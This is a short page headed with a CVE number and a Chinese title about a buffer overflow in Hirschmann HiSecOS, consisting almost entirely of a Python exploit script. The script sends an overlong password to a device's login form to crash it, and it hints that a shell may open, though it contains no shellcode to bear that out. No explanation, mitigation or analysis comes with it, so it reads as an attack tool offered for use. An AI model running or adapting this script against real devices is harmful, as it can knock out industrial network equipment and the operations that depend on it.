CVE-2018-25237 Hirschmann HiSecOS缓冲区溢出漏洞

import requests # Target configuration target_ip = "192.168.1.1" target_url = f"https://{target_ip}/login" # Payload: Password longer than 128 characters to trigger buffer overflow # Using 'A' * 200 to ensure the overflow occurs malicious_password = "A" * 200 # Data payload typically sent to a login form # Field names might vary based on specific device configuration payload_data = { "username": "admin", "password": malicious_password } try: # Sending the request # verify=False is used because industrial devices often use self-signed certificates response = requests.post(target_url, data=payload_data, verify=False, timeout=10) if response.status_code == 200 or response.status_code == 500: print("[+] Payload sent successfully.") print("[+] Check if the device has crashed or if a shell has opened.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") print("[-] The device might have crashed due to the overflow.")